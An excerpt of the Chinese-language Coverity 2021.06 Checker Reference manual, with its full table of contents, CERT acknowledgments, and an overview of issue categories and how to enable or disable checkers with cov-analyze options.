



Coverity 2021.06 检查器说明书

Coverity Analysis、Coverity Platform 和 Coverity Desktop 的说明书。

版权 2021, Synopsys, Inc.。在全球保留所有权利。

目录

致谢	xi
1. 概述	1
1.1. 问题类型	1
1.2. 启用和禁用检查器	3
1.3. 自定义分析	6
2. 软件问题和影响 (按检查器)	15
3. 检查器启用和选项默认值 (按语言)	16
4. Coverity Analysis 检查器 (Checkers)	17
4.1. ALLOC_FREE_MISMATCH	24
4.2. ANDROID_CAPABILITY_LEAK	26
4.3. ANDROID_DEBUG_MODE	27
4.4. ANDROID_WEBVIEW_FILEACCESS	28
4.5. ANGULAR_BYPASS_SECURITY	29
4.6. ANGULAR_ELEMENT_REFERENCE	30
4.7. ANGULAR_EXPRESSION_INJECTION	31
4.8. ANGULAR_SCE_DISABLED	34
4.9. ANONYMOUS_DB_CONNECTION	34
4.10. ARRAY_VS_SINGLETON	36
4.11. ASPNET_MVC_VERSION_HEADER	38
4.12. ASSERT_SIDE_EFFECT	40
4.13. ASSIGN_NOT_RETURNING_STAR_THIS	42
4.14. ATOMICITY	44
4.15. ATTRIBUTE_NAME_CONFLICT	47
4.16. AUDIT_SPECULATIVE_EXECUTION_DATA_LEAK	48
4.17. AWS_SSL_DISABLED	49
4.18. AWS_VALIDATION_DISABLED	50
4.19. BAD_ALLOC_ARITHMETIC	50
4.20. BAD_ALLOC_STRLEN	51
4.21. BAD_CERT_VERIFICATION	52
4.22. BAD_CHECK_OF_WAIT_COND	59
4.23. BAD_COMPARE	60
4.24. BAD_EQ	62
4.25. BAD_EQ_TYPES	64
4.26. BAD_FREE	65
4.27. BAD_LOCK_OBJECT	66
4.28. BAD_OVERRIDE	71
4.29. BAD_SHIFT	72
4.30. BAD_SIZEOF	74
4.31. BUFFER_SIZE	76
4.32. BUFFER_SIZE_WARNING	77
4.33. BUSBOY_MISCONFIGURATION	78
4.34. CALL_SUPER	79
4.35. CHAR_IO	83
4.36. CHECKED_RETURN	84
4.37. CHROOT	89
4.38. COM.ADDROF_LEAK	90

4.39. COM.BAD_FREE	91
4.40. COM.BSTR.ALLOC	92
4.41. COM.BSTR.BAD_COMPARE	94
4.42. COM.BSTR.CONV	95
4.43. COM.BSTR.NE_NON_BSTR	97
4.44. CONFIG.ANDROID_BACKUPS_ALLOWED	98
4.45. CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED	99
4.46. CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION	100
4.47. CONFIG.ANDROID_UNSAFE_MINSDKVERSION	102
4.48. CONFIG.ASP_VIEWSTATE_MAC	103
4.49. CONFIG.ASPNET_VERSION_HEADER	104
4.50. CONFIG.ATS_INSECURE	105
4.51. CONFIG.BEEGO_CSRF_PROTECTION_DISABLED	106
4.52. CONFIG.CONNECTION_STRING_PASSWORD	107
4.53. CONFIG.COOKIE_SIGNING_DISABLED	108
4.54. CONFIG.COOKIES_MISSING_HTTPONLY	108
4.55. CONFIG.CORDOVA_EXCESSIVE_LOGGING	109
4.56. CONFIG.CORDOVA_PERMISSIVE_WHITELIST	111
4.57. CONFIG.CSURF_IGNORE_METHODS	113
4.58. CONFIG.DEAD_AUTHORIZATION_RULE	114
4.59. CONFIG.DJANGO_CSRF_PROTECTION_DISABLED	115
4.60. CONFIG.DUPLICATE_SERVLET_DEFINITION	115
4.61. CONFIG.DWR_DEBUG_MODE	117
4.62. CONFIG.DYNAMIC_DATA_HTML_COMMENT	118
4.63. CONFIG.ENABLED_DEBUG_MODE	119
4.64. CONFIG.ENABLED_TRACE_MODE	120
4.65. CONFIG.HANA_XS_PREVENT_XSRF_DISABLED	121
4.66. CONFIG.HARDCODED_CREDENTIALS_AUDIT	122
4.67. CONFIG.HARDCODED_TOKEN	123
4.68. CONFIG.HTTP_VERB_TAMPERING	124
4.69. CONFIG.JAVAEE_MISSING_HTTPONLY	125
4.70. CONFIG.JAVAEE_MISSING_SERVLET_MAPPING	126
4.71. CONFIG.JSONWEBTOKEN_NON_EXPIRING_TOKEN	127
4.72. CONFIG.MISSING_CUSTOM_ERROR_PAGE	128
4.73. CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER	129
4.74. CONFIG.MISSING_JSF2_SECURITY_CONSTRAINT	130
4.75. CONFIG.MYBATIS_MAPPER_SQLI	131
4.76. CONFIG.MYSQL_SSL_VERIFY_DISABLED	132
4.77. CONFIG.REQUEST_STRICTSSL_DISABLED	133
4.78. CONFIG.SEQUELIZE_ENABLED_LOGGING	134
4.79. CONFIG.SEQUELIZE_INSECURE_CONNECTION	135
4.80. CONFIG.SOCKETIO_MAXHTTPBUFFERSIZE_SET_TOO_LARGE	136
4.81. CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED	137
4.82. CONFIG.SPRING_BOOT_SENSITIVE_LOGGING	137
4.83. CONFIG.SPRING_BOOT_SSL_DISABLED	138
4.84. CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED	139
4.85. CONFIG.SPRING_SECURITY_DEBUG_MODE	140
4.86. CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER	141

4.87. CONFIG.SPRING_SECURITY_DISABLE_AUTH_TAGS	142
4.88. CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID	143
4.89. CONFIG.SPRING_SECURITY_HARDCODED_CREDENTIALS	144
4.90. CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP	146
4.91. CONFIG.SPRING_SECURITY_REMEMBER_ME_HARDCODED_KEY	146
4.92. CONFIG.SPRING_SECURITY_SESSION_FIXATION	148
4.93. CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER	149
4.94. CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH	150
4.95. CONFIG.STRUTS2_CONFIG_BROWSER_PLUGIN	151
4.96. CONFIG.STRUTS2_DYNAMIC_METHOD_INVOCATION	152
4.97. CONFIG.STRUTS2_ENABLED_DEV_MODE	153
4.98. CONFIG.SYMFONY_CSRF_PROTECTION_DISABLED	154
4.99. CONFIG.UNSAFE_SESSION_TIMEOUT	155
4.100. CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS	158
4.101. CONFIG.WEAK_SECURITY_CONSTRAINT	160
4.102. CONSTANT_EXPRESSION_RESULT	160
4.103. COOKIE_INJECTION	169
4.104. COOKIE_SERIALIZER_CONFIG	173
4.105. COPY_PASTE_ERROR	174
4.106. COPY_WITHOUT_ASSIGN	177
4.107. CORS_MISCONFIGURATION	178
4.108. CORS_MISCONFIGURATION_AUDIT	182
4.109. CSRF	185
4.110. CSRF_MISCONFIGURATION_HAPI_CRUMB	196
4.111. CSS_INJECTION	197
4.112. CTOR_DTOR_LEAK	200
4.113. CUDA.COLLECTIVE_WARP_SHUFFLE_WIDTH	200
4.114. CUDA.CUDEVICE_HANDLES	201
4.115. CUDA.DEVICE_DEPENDENT	202
4.116. CUDA.DEVICE_DEPENDENT_CALLBACKS	203
4.117. CUDA.DIVERGENCE_AT_COLLECTIVE_OPERATION	204
4.118. CUDA.ERROR_INTERFACE	206
4.119. CUDA.ERROR_KERNEL_LAUNCH	207
4.120. CUDA.FORK	208
4.121. CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP	209
4.122. CUDA.INITIATION_OBJECT_DEVICE_THREAD_BLOCK	212
4.123. CUDA.INVALID_MEMORY_ACCESS	213
4.124. CUDA.SHARE_FUNCTION	214
4.125. CUDA.SHARE_OBJECT_STREAM_ASSOCIATED	215
4.126. CUDA.SPECIFIERS_INCONSISTENCY	217
4.127. CUDA.SYNCHRONIZE_TERMINATION	218
4.128. CUSTOM_KEYBOARD_DATA_LEAK	219
4.129. DC.CUSTOM_CHECKER	220
4.130. DC.DANGEROUS	222
4.131. DC.DEADLOCK	223
4.132. DC.PREDICTABLE_KEY_PASSWORD	223
4.133. DC.STREAM_BUFFER	224
4.134. DC.STRING_BUFFER	224

4.135. DC.WEAK_CRYPTO	224
4.136. DEADCODE	225
4.137. DEADLOCK (Java Runtime)	232
4.138. DELETE_ARRAY	235
4.139. DELETE_VOID	236
4.140. DENY_LIST_FOR_AUTHN	237
4.141. DETEKT.*	238
4.142. DF.CUSTOM_CHECKER	239
4.143. DISABLED_ENCRYPTION	245
4.144. DISTRUSTED_DATA_DESERIALIZATION	246
4.145. DIVIDE_BY_ZERO	248
4.146. DNS_PREFETCHING	251
4.147. DOM_XSS	251
4.148. DYNAMIC_OBJECT_ATTRIBUTES	254
4.149. DYNAMIC_TYPE_IN_CTOR_DTOR	255
4.150. EL_INJECTION	256
4.151. ENUM_AS_BOOLEAN	258
4.152. EVALUATION_ORDER	258
4.153. EXPLICIT_THIS_EXPECTED	260
4.154. EXPOSED_DIRECTORY_LISTING	262
4.155. EXPOSED_PREFERENCES	264
4.156. EXPRESS_SESSION_UNSAFE_MEMORYSTORE	265
4.157. EXPRESS_WINSTON_SENSITIVE_LOGGING	266
4.158. EXPRESS_X_POWERED_BY_ENABLED	267
4.159. FILE_UPLOAD_MISCONFIGURATION	268
4.160. FB.*(SpotBugs)	269
4.161. FLOATING_POINT_EQUALITY	270
4.162. FORMAT_STRING_INJECTION	271
4.163. FORWARD_NULL	274
4.164. GUARDED_BY_VIOLATION	283
4.165. HAPI_SESSION_MONGO_MISSING_TLS	288
4.166. HARDCODED_CREDENTIALS	289
4.167. HEADER_INJECTION	296
4.168. HFA	304
4.169. HIBERNATE_BAD_HASHCODE	305
4.170. HOST_HEADER_VALIDATION_DISABLED	307
4.171. HPKP_MISCONFIGURATION	307
4.172. IDENTICAL_BRANCHES	308
4.173. IDENTIFIER_TYPO	312
4.174. IMPLICIT_INTENT	314
4.175. INCOMPATIBLE_CAST	315
4.176. INFINITE_LOOP	316
4.177. INSECURE_ACL	321
4.178. INSECURE_COMMUNICATION	321
4.179. INSECURE_COOKIE	326
4.180. INSECURE_DIRECT_OBJECT_REFERENCE	330
4.181. INSECURE_HTTP_FIREWALL	331
4.182. INSECURE_MULTIPEER_CONNECTION	332

4.183. INSECURE_NETWORK_BIND	333
4.184. INSECURE_RANDOM	335
4.185. INSECURE_REFERRER_POLICY	338
4.186. INSECURE_REMEMBER_ME_COOKIE	340
4.187. INSECURE_SALT	341
4.188. INSUFFICIENT_LOGGING	342
4.189. INSUFFICIENT_PRESIGNED_URL_TIMEOUT	344
4.190. INTEGER_OVERFLOW	345
4.191. INVALIDATE_ITERATOR	348
4.192. JAVA_CODE_INJECTION	353
4.193. JCR_INJECTION	355
4.194. JINJA2_AUTOESCAPE_DISABLED	356
4.195. JSHINT.* (JSHint) Analysis	357
4.196. JSONWEBTOKEN_IGNORED_EXPIRATION_TIME	358
4.197. JSONWEBTOKEN_UNTRUSTED_DECODE	361
4.198. JSP_DYNAMIC_INCLUDE	363
4.199. JSP_SQL_INJECTION	365
4.200. LDAP_INJECTION	366
4.201. LDAP_NOT_CONSTANT	369
4.202. LOCALSTORAGE_MANIPULATION	370
4.203. LOCALSTORAGE_WRITE	373
4.204. LOCK	374
4.205. LOCK_EVASION	378
4.206. LOCK_INVERSION	386
4.207. LOG_INJECTION	389
4.208. MISMATCHED_ITERATOR	391
4.209. MISRA_CAST	392
4.210. MISSING_ASSIGN	396
4.211. MISSING_AUTHZ	396
4.212. MISSING_BREAK	405
4.213. MISSING_COMMAS	410
4.214. MISSING_COPY	411
4.215. MISSING_COPY_OR_ASSIGN	411
4.216. MISSING_HEADER_VALIDATION	413
4.217. MISSING_IFRAME_SANDBOX	413
4.218. MISSING_LOCK	415
4.219. MISSING_MOVE_ASSIGNMENT	417
4.220. MISSING_PASSWORD_VALIDATOR	419
4.221. MISSING_PERMISSION_FOR_BROADCAST	419
4.222. MISSING_PERMISSION_ON_EXPORTED_COMPONENT	423
4.223. MISSING_RESTORE	425
4.224. MISSING_RETURN	429
4.225. MISSING_THROW	430
4.226. MIXED_ENUMS	431
4.227. MOBILE_ID_MISUSE	434
4.228. MULTER_MISCONFIGURATION	436
4.229. NEGATIVE RETURNS	438
4.230. NESTING_INDENT_MISMATCH	439

4.231. NO_EFFECT	444
4.232. NON_STATIC_GUARDING_STATIC	449
4.233. NOSQL_QUERY_INJECTION	452
4.234. NULL RETURNS	456
4.235. OAUTH2_MISCONFIGURATION	466
4.236. ODR_VIOLATION	467
4.237. OGNL_INJECTION	467
4.238. OPEN_ARGS	469
4.239. OPEN_REDIRECT	470
4.240. OPENAPI.*	475
4.241. ORDER_REVERSAL	476
4.242. ORM_ABANDONED_TRANSIENT	477
4.243. ORM_LOST_UPDATE	477
4.244. ORM_LOAD_NULL_CHECK	480
4.245. ORM_UNNECESSARY_GET	481
4.246. OS_CMD_INJECTION	482
4.247. OVERFLOW_BEFORE_WIDEN	491
4.248. OVERLAPPING_COPY	495
4.249. OVERRUN	497
4.250. PARSE_ERROR	502
4.251. PW.*、RW.*、SW.*：编译警告	503
4.252. PASS_BY_VALUE	507
4.253. PATH_MANIPULATION	509
4.254. PMD.*	518
4.255. PRECEDENCE_ERROR	519
4.256. PREDICTABLE_RANDOM_SEED	520
4.257. PRINTF_ARGS	523
4.258. PROPERTY_MIXUP	524
4.259. PW.*	527
4.260. RACE_CONDITION (Java Runtime)	527
4.261. RAILS_DEFAULT_ROUTES	530
4.262. RAILS_DEVISE_CONFIG	530
4.263. RAILS_MISSING_FILTER_ACTION	531
4.264. REACT_DANGEROUS_INNERHTML	532
4.265. READLINK	532
4.266. RW.*	534
4.267. REGEX_CONFUSION	534
4.268. REGEX_INJECTION	535
4.269. REGEX_MISSING_ANCHOR	540
4.270. RESOURCE_LEAK	540
4.271. RESOURCE_LEAK (Java Runtime)	553
4.272. RETURN_LOCAL	554
4.273. REVERSE_NEGATIVE	555
4.274. REVERSE_INULL	556
4.275. REVERSE_TABNABBING	561
4.276. RISKY_CRYPTO	562
4.277. RUBY_VULNERABLE_LIBRARY	568
4.278. SCRIPT_CODE_INJECTION	569

4.279. SECURE_CODING	575
4.280. SECURE_TEMP	576
4.281. SELF_ASSIGN	578
4.282. SW.*	579
4.283. SENSITIVE_DATA_LEAK	579
4.284. SERVLET_ATOMICITY	588
4.285. SESSION_FIXATION	589
4.286. SESSION_MANIPULATION	591
4.287. SESSIONSTORAGE_MANIPULATION	591
4.288. SIGN_EXTENSION	594
4.289. SINGLETON_RACE	596
4.290. SIZECHECK	597
4.291. SIZEOF_MISMATCH	599
4.292. SLEEP	602
4.293. SOCKET_ACCEPT_ALL_ORIGINS	605
4.294. SQL_NOT_CONSTANT	606
4.295. SQLI	608
4.296. STACK_USE	618
4.297. STATIC_API_KEY	623
4.298. STRAY_SEMICOLON	623
4.299. STREAM_FORMAT_STATE	626
4.300. STRICT_TRANSPORT_SECURITY	628
4.301. STRING_NULL	629
4.302. STRING_OVERFLOW	632
4.303. STRING_SIZE	633
4.304. SUPPRESSED_ERROR	636
4.305. SWAPPED_ARGUMENTS	637
4.306. SYMBIAN.CLEANUP_STACK	639
4.307. SYMBIAN.NAMING	642
4.308. SYMFONY_EL_INJECTION	643
4.309. TAINT_ASSERT	646
4.310. TAINTED_ENVIRONMENT_WITH_EXECUTION	649
4.311. TAINTED_SCALAR	652
4.312. TAINTED_STRING	659
4.313. TEMPLATE_INJECTION	665
4.314. TEMPORARY_CREDENTIALS_DURATION	669
4.315. TEXT.CUSTOM_CHECKER	670
4.316. TOCTOU	672
4.317. TRUST_BOUNDARY_VIOLATION	674
4.318. UNCAUGHT_EXCEPT	675
4.319. UNCHECKED_ORIGIN	679
4.320. UNENCRYPTED_SENSITIVE_DATA	680
4.321. UNESCAPED_HTML	689
4.322. UNEXPECTED_CONTROL_FLOW	690
4.323. UNINIT	692
4.324. UNINITCTOR	696
4.325. UNINIT_NONNULL	699
4.326. UNINTENDED_GLOBAL	700

4.327. UNINTENDED_INTEGER_DIVISION	701
4.328. UNKNOWN_LANGUAGE_INJECTION	702
4.329. UNLESS_CASE_SENSITIVE_ROUTE_MATCHING	704
4.330. UNLIMITED_CONCURRENT_SESSIONS	704
4.331. UNLOGGED_SECURITY_EXCEPTION	705
4.332. UNREACHABLE	708
4.333. UNRESTRICTED_ACCESS_TO_FILE	714
4.334. UNRESTRICTED_DISPATCH	716
4.335. UNRESTRICTED_MESSAGE_TARGET	718
4.336. UNSAFE_BASIC_AUTH	719
4.337. UNSAFE_BUFFER_METHOD	720
4.338. UNSAFE_DESERIALIZATION	721
4.339. UNSAFE_FUNCTIONALITY	727
4.340. UNSAFE_JNI	727
4.341. UNSAFE_NAMED_QUERY	729
4.342. UNSAFE_REFLECTION	731
4.343. UNSAFE_SESSION_SETTING	734
4.344. UNSAFE_XML_PARSE_CONFIG	735
4.345. UNUSED_VALUE	740
4.346. URL_MANIPULATION	743
4.347. USE_AFTER_FREE	750
4.348. USELESS_CALL	755
4.349. USER_POINTER	760
4.350. VARARGS	761
4.351. VCALL_INCTOR_DTOR	762
4.352. VERBOSE_ERROR_REPORTING	764
4.353. VIRTUAL_DTOR	765
4.354. VOID_FUNCTION_WITHOUT_SIDE_EFFECT	767
4.355. VOLATILE_ATOMICITY	768
4.356. VUE_TEMPLATE_UNSAFE_VHTML_DIRECTIVE	771
4.357. WEAK_BIOMETRIC_AUTH	771
4.358. WEAK_GUARD	772
4.359. WEAK_PASSWORD_HASH	776
4.360. WEAK_URL_SANITIZATION	782
4.361. WEAK_XML_SCHEMA	784
4.362. WRAPPER_ESCAPE	785
4.363. WRITE_CONST_FIELD	788
4.364. WRONG_METHOD	788
4.365. XML_EXTERNAL_ENTITY	790
4.366. XML_INJECTION	796
4.367. XPATH_INJECTION	798
4.368. XSS	806
4.369. Y2K38_SAFETY	812
5. 模型、注解和原语	814
5.1. C/C++ 模型和注解	815
5.2. C# 或 Visual Basic 中的模型和注解	847
5.3. Go 中的模型	864
5.4. Java 模型和注解	871

5.5. Swift 中的模型	878
5.6. 创建搜索顺序模型	878
6. 安全说明书	880
6.1. Coverity Web 应用程序安全	880
6.2. C/C++ 应用程序安全	896
6.3. SQLi 上下文	898
6.4. XSS 上下文	901
6.5. 操作系统注入命令上下文	915
6.6. Web 应用程序安全示例	918
6.7. 安全命令	947
6.8. 被污染的数据概述	948
6.9. 敏感数据概述	951
6.10. 审计模式	951
7. Coverity Fortran Syntax Analysis 检查器说明书	954
A. AUTOSAR C++14 标准	984
A.1. 概述	984
B. DISA 应用程序安全和开发 STIG 标准	1006
B.1. 概述	1006
C. 支付卡行业数据安全标准	1038
C.1. 概述	1038
D. ISO TS 17961 2016 标准	1039
D.1. 概述	1039
E. MISRA 规则和指令	1042
E.1. 概述	1042
E.2. MISRA C 2004	1042
E.3. MISRA C++ 2008	1055
E.4. MISRA C 2012	1076
F. SEI CERT 规则	1091
F.1. 概述	1091
F.2. SEI CERT C 编码标准	1091
F.3. SEI CERT C++ 规则	1099
F.4. SEI CERT Java 编码标准	1104
G. OWASP 十大网络安全风险覆盖范围	1107
G.1. OWASP 十大网络安全风险覆盖范围	1107
H. OWASP 十大移动安全风险覆盖范围	1108
H.1. OWASP 十大移动安全风险覆盖范围	1108
I. 检查器更改历史记录	1109
I.1. Coverity 检查器更改历史记录	1109
J. Coverity 术语表	1126
K. Coverity 法律声明	1136
K.1. 法律声明	1136

致谢

- 本出版物包含归卡内基梅隆大学 (Carnegie Mellon University) 版权所有 (© 2020 年) 的 CERT C、CERT CCP、CERT C Recommendations 和 CERT JAVA 标准 (网址为 <https://wiki.sei.cmu.edu/confluence/display/seccode/SEI+CERT+Coding+Standards>) 中各项规则的部分规则标识符、遵循规则标识符的规则描述性名称 (条款) 和规则级别 (来自风险评估) ，经软件工程学院特别许可。
- 本文所含卡内基梅隆大学和/或其软件工程学院的任何材料均按“原样”提供。卡内基梅隆大学对任何内容不作任何形式的明示或默示保证，包括但不限于针对特定目的的适用性或适销性、排他性或使用材料获得预期结果的保证。卡内基梅隆大学未就不存在专利、商标或版权侵权作出任何形式的保证。
- 该出版物尚未经过审核，也未得到卡内基梅隆大学或其软件工程学院的认可。
- Carnegie Mellon 和 CERT 是卡内基梅隆大学的注册商标。

Chapter 1. 概述

Table of Contents

1.1. 问题类型	1
1.2. 启用和禁用检查器	3
1.3. 自定义分析	6

Coverity Analysis 安装提供了各种检查器，它们可以执行源代码静态分析，通过 Test Advisor 对开发人员测试执行分析，以及通过 Dynamic Analysis 对 Java 代码执行运行时分析。本指南介绍了每种检查器，并解释了如何以及何时使用建模来改进分析结果。它还包含关于常用 Web 应用程序安全问题和问题修复的详细信息。

有关运行静态分析的信息，请参阅《Coverity Analysis 用户和管理员指南》和《Coverity Wizard 用户指南》。要对开发人员测试运行分析，请参阅《Test Advisor 用户和管理员指南》。有关运行时分析，请参阅《Dynamic Analysis 管理员教程》。

1.1. 问题类型

检查器测试两大类别的问题：

- 质量问题标识在执行时将以某种方式失败的代码。
- 安全问题标识容易受到攻击的代码。

这些不是硬性规定。容易论证的是，较安全的代码是质量较好的代码，而质量好的代码也更安全。但是，当分析自己的代码库时考虑要搜索的内容时，类别可能会很有用。以下各部分概述了这些不同类型的分析中所涉及的内容。

1.1.1. 质量问题

源代码质量分析会在代码库中搜索可能导致应用程序发生错误行为的区域。Coverity 检查器包括一般质量检查器和特殊类型的检查器，例如规则、并发、编译警告、Microsoft COM（例如 COM.ADDROF_LEAK）和 Dynamic Analysis 检查器。

1.1.1.1. 编译警告

编译警告检查器支持 C/C++ 和 Swift 源代码。它们可显示 Coverity 编译器检测到的问题。此类问题包括分析、语义和恢复警告。有关详情，请参阅 Section 4.251，“PW.*、RW.*、SW.*：编译警告”。

1.1.1.2. 并发问题

并发问题难以检测、诊断和修复。它们可能导致挂起、性能衰减和数据完整性问题。它们通常是由隐蔽的、极少出现并且难以重现的时序问题（涉及处理共享内存位置的多个控制线程）导致的。因此，可能难以创建测试案例来发现并发问题。

Coverity Analysis 提供了可查找各种并发问题的检查器。Coverity Analysis 并发检查器可查找以下相关问题：

- 双重锁定、缺少锁、锁定不匹配或锁定顺序不正确。
- 长期或永久持有锁（死锁）。
- 不正确使用共享字段导致的竞态条件。

1.1.1.3. Dynamic Analysis

Dynamic Analysis 检查器支持对 Java 代码进行运行时分析。这些检查器包括 Section 4.137, “DEADLOCK (Java Runtime)”、Section 4.260, “RACE_CONDITION (Java Runtime)” 和 Section 4.271, “RESOURCE_LEAK (Java Runtime)”。

要使用 Dynamic Analysis 检查器，请参阅《Dynamic Analysis 管理员教程 [↗](#)》。

1.1.1.4. 规则和标准

大部分 Coverity 检查器用于查找您代码中的缺陷。规则检查器有所不同，它们用于帮助组织通过统一的方式要求或禁止某些编程做法。虽然这些做法通常与问题在代码库中的出现次数相关，但相关性比其他质量检查器弱。

对于选择使用这些检查器的组织，缺陷反映的是与某条指定规则的一致性，因此没有任何缺陷属于误报。但是，对于其他组织，这些检查器可能看起来具有很高的误报率，因为报告的大部分规则违反情况通常并不表示存在程序缺陷。由于规则检查器与大部分 Coverity 检查器相比在行为方面存在该差异，因此默认不启用规则检查器。

1.1.2. 安全问题

安全分析在代码库中搜索可能允许攻击者利用应用程序漏洞的区域。Coverity 安全检查器可查找以下类型的安全问题：

Web 应用程序安全

Coverity Analysis 可帮助贵组织查找和修复可能导致 Web 应用程序中出现常见被利用漏洞的安全问题，包括 SQL 注入、跨站点脚本、OS（操作系统）命令注入和危险配置可能引起的信息泄露。为帮助降低软件故障带来的风险，通过与质量问题和测试冲突相同的 Coverity Connect 工作流管理安全问题并确定其优先级。

C/C++ 应用程序安全

Coverity Analysis 可帮助贵组织查找和修复 C/C++ 代码中的关键安全问题，例如缓冲区溢出、整数溢出和格式化字符串错误。贵组织可以通过与测试冲突和其他缺陷和漏洞相同的 Coverity Connect 工作流，管理 C/C++ 质量和安全缺陷并确定其优先级。

移动应用程序安全

Coverity Analysis 可帮助贵组织查找并修复 Java Android 和 Swift iOS 应用程序中的安全问题。

第 6 章. 安全说明书介绍了 Coverity Analysis 检查器可以处理的一些常见问题来源。

1.2. 启用和禁用检查器

Coverity Analysis 会运行许可证启用和覆盖的检查器。很多 Coverity 检查器默认启用，因此如果您没有显式禁用它们，它们都将运行。每个检查器都检测源代码中特定类型的问题。例如，RESOURCE_LEAK 检查器查找程序没有尽快释放系统资源的情况。

Coverity Analysis 允许启用或禁用任何检查器。由于默认启用情况会根据编程语言的不同而异，因此支持多语言的某个检查器对于某个语言可能默认启用，但对于另一个语言可能默认禁用。您可以为检查器适用的所有语言显式启用检查器，也可以完全禁用该检查器。请注意，准确指定对哪种语言运行哪些检查器只能通过按语言进行单独分析来实现。

是否禁用或启用检查器或检查器组，取决于贵组织希望 Coverity Analysis 检测的问题的类型。此外，还取决于 Coverity Analysis 性能要求，因为运行的检查器类型越多，Coverity Analysis 完成分析所需的时间就越长。



Note

除了启用和禁用检查器之外，您还可以使用检查器选项调整分析。例如，要改进 NULL RETURNS 缺陷对于贵组织的值，您可以增加或减小该检查器使用的阈值。要指定检查器选项值，请使用 cov-analyze 的 --checker-option 选项。有关更多信息，请参阅 Coverity Command Reference。有关被污染的数据检查器的更多信息，请参阅“Section 6.8，“被污染的数据概述””。

1.2.1. 使用 cov-analyze 启用和禁用检查器

您可以使用 cov-analyze 命令行选项更改要运行的一组检查器。如果您使用 cov-analyze 运行多语言分析，则为分析启用的检查器将针对它们适用的所有语言运行。默认启用情况可能会因编程语言的不同而异，因此支持多语言的某个检查器对于某个语言可能默认启用，但对于另一个语言可能默认禁用。

要更改启用的检查器集合，请执行以下步骤：

1. 使用 cov-analyze --list-checkers 选项来查看命令可以运行的检查器列表。

该选项会返回检查器列表，包括有关启用默认禁用的检查器的指导。

2. 启用一个或多个检查器。

- 要启用特定的检查器，请使用 --enable CHECKER 选项或 -en CHECKER 选项。

例如：

```
> cov-analyze --dir directory --enable SWAPPED_ARGUMENTS
```

该示例运行 SWAPPED_ARGUMENTS 检查器以及默认检查器。

有关详情，请参阅《Coverity 命令说明书》中的 --enable [🔗](#)。

- 要启用默认情况下未启用的大多数检查器，请使用 --all 选项。

有关详情，请参阅《Coverity 命令说明书》中的 --all [🔗](#)。

概述

- 要启用 CERT-C 检查器，请使用 cov-analyze 命令的 --coding-standard-config 选项。

- 要启用默认禁用的 C/C++ 并发检查器，请使用 --concurrency 选项。

例如：

```
> cov-analyze --dir directory --concurrency
```

有关详情，请参阅《Coverity 命令说明书》中的 --concurrency [🔗](#)。

- 要启用 C/C++ 安全检查器，请使用 --security 选项。

例如：

```
> cov-analyze --dir directory --security
```

有关此选项范围的详情，请参阅《Coverity 命令说明书》中的 --security [🔗](#)。

- 要启用所有 Web 应用程序安全检查器，请使用 --webapp-security [🔗](#) 选项。

- 要启用 JavaScript 代码的 JSHint 分析，请使用 --enable-jshint 选项。

有关此选项的详情，请参阅《Coverity 命令说明书》中的 --enable-jshint [🔗](#)。

- 要启用编译警告检查器（分析警告、恢复警告和语义警告检查器），请使用 --enable-parse-warnings 选项。

例如：

```
> cov-analyze --dir directory --enable-parse-warnings
```

如果想要更改启用的一组编译警告，请参阅Section 1.2.2，“启用编译警告检查器（PW.*、RW.*、SW.*）”。

3. 禁用一个或多个检查器。

- 要禁用单个检查器，请使用 --disable 选项。

例如：

```
> cov-analyze --dir directory  
--disable BAD_OVERRIDE
```

有关详情，请参阅《Coverity 命令说明书》中的 --disable [🔗](#)。

- 要禁用默认检查器，请使用 --disable-default 选项。

下面的示例禁用了所有默认启用的检查器：

概述

```
> cov-analyze --dir directory --disable-default
```

下面的示例使用 `--enable-fb` 选项和 `--disable-default` 启用了 SpotBugs 分析并同时禁用了所有其他默认检查器。

例如：

```
> cov-analyze --dir directory --enable-fb --disable-default
```

要进一步细化 SpotBugs 分析，您还可以使用 `cov-analyze` 的 `--fb-include` 和 `--fb-exclude` 选项。

下面的示例使用 `--enable-detekt` 选项和 `--disable-default` 启用了 Detekt 分析并同时禁用了所有其他默认检查器。

```
cov-analyze --dir directory --enable-detekt --disable-default
```

使用选项 `--disable-detekt` 以禁用 Detekt 分析。

- [适用于 Apex 和 SalesForce VisualForce 的 PMD 分析选项] 适用于 Apex 和 SalesForce VisualForce 的 PMD 分析选项对捕获的 Apex 源代码启用适用于 Apex 和 SalesForce VisualForce 分析的 PMD (版本 1.0.1)。请参阅《Coverity 2021.06 检查器说明书》中的 `PMD.*` 检查器。下面的示例使用 `--enable-pmd` 选项和 `--disable-default` 启用了适用于 Apex 分析的 PMD 并同时禁用了所有其他默认检查器：

```
cov-analyze --dir directory --enable-pmd --disable-default
```

使用选项 `--disable-pmd` 禁用适用于 Apex 分析的 PMD。

- 要禁用分析警告（如果您之前启用了此类警告，但不想再看到它们），请使用 `--disable-parse-warnings` 选项。

有关此选项的详情，请参阅《Coverity 命令说明书》中的 `--disable-parse-warnings` [🔗](#)。

- 要禁用所有 Web 应用程序安全检查器，请使用 `--disable-webapp-security` [🔗](#) 选项。

1.2.2. 启用编译警告检查器 (PW.*、RW.*、SW.*)

当 Coverity Analysis 分析 C/C++ 或 Swift 代码时，它可以检测各种缺陷。它生成的警告可能数以百计。通常，这些警告提供不必要的信息，并标识由其他 Coverity Analysis 检查器更准确地报告的问题。这些警告也可能是误报。因此，对于 C/C++ 源，默认禁用编译警告检查器。另一方面，对于 Swift 源，默认启用编译警告检查器。

您可以通过配置文件指定显示为缺陷的警告。要创建该文件，您可以参考示例分析警告配置文件，该文件显示所有默认设置。示例文件位于 `<install_dir_sa>/config/parse_warnings.conf.sample`。检查器由此文件中的指令启用或禁用。指令使用以下语法：

```
chk "checker_name": on | off | macros | no_macros;
```

其中 `<checker_name>` 是指 Coverity Connect 中显示的警告的名称，例如，`PW.ASSIGN_WHERE_COMPARE_MEANT`。

